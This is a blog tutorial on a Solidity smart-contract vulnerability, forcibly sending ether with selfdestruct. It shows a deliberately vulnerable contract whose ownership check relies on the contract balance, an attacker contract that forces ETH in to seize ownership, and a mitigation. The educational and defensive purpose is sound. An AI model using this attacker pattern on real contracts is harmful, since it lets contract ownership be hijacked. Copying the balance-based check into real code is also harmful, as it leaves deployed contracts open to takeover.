Home » Blog » Solidity Vulnerability: Forcibly Sending Ether to a Contract

Solidity Vulnerability: Forcibly Sending Ether to a Contract

This attack is a bit interesting because the attacker is willing to send you ETH in order to complete some bigger attack.

Code – https://github.com/derekarends/solidity-vulnerabilities/tree/main/forcibly-send-eth

Demo – https://youtu.be/GZ21nKnASG8

What is forcibly sending ether?

Forcibly sending ether to another contract is when one contract does a selfdestruct(otherContractAddress). This will send the remaining balance of the original contract to the other contract’s address.

Why would you do that?

A valid scenario for sending the remaining balance of one contract to another contract is if the first contract had a short term purpose or maybe the contract has completed its original purpose and the owner decides to clean it up by calling selfdestruct and have the rest of the balance sent to the owner.

With that said there is no way to stop someone from forcibly sending ETH to your contract, so make sure to not have any important or harmful logic based off a contract’s balance.

Vulnerable Contract

/// Used to show what a contract vulnerable to forced ETH looks like
contract VulnerableContract {
    /// Owner of the contract
    address public owner;
    /// Construct the contract specifying who will be the owner.
    constructor(address _owner) {
        owner = _owner;
    }
    /// This is used to handle calls from send, transfer, call
    /// however, this will not get called if another contract selfdestructs
    fallback() external payable {
        revert();
    }
    /// This function is vulnerable because it is basing its check of contract balance
    function takeOwnership() external {
        require(address(this).balance > 0);
        owner = msg.sender;
    }
    /// Check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

This is a slightly silly example but it gives you an idea of how this vulnerability would work.

This contract does not have any visible ways of depositing ETH, however, this contract is vulnerable and would allow an attack to deposit a small bit of ETH, call takeOwnership() and claim this contract.

To do this the attacker would need two different contracts, one to selfdestruct and the other to call takeOwnership but very easily done.

Attacker Contact

/// This contract will forcibly send ether to a vulnerable contract
contract AttackerContract {
    VulnerableContract public vulnerableContract;
    
    /// Initialize the Attacker contract with the address of the vulnerable contract.
    constructor(address _vulnerableContract) {
        vulnerableContract = VulnerableContract(payable(_vulnerableContract));
    }
    /// Used to forcibly send either to the vulnerable contract
    function attack() public payable {
        require(msg.value > 0);
        address payable addr = payable(address(vulnerableContract));
        selfdestruct(addr);
    }
}

The attacker contract will be initialized with the vulnerable contracts address and once created the attacker can call the attack function sending the balance over to the vulnerable contract.

Solution

There isn’t anything fancy we can do with this, other than to make sure we are not doing anything important based off the balance of the contract.

If you have to do something based on the balance I would recommend having a private storage variable to keep track of what you think you have in the contract and adjust it accordingly. This would allow you to control what the value is you want to do your checks on, just remember it could be different than the actual balance of the contract.

Leave a Reply

Your email address will not be published.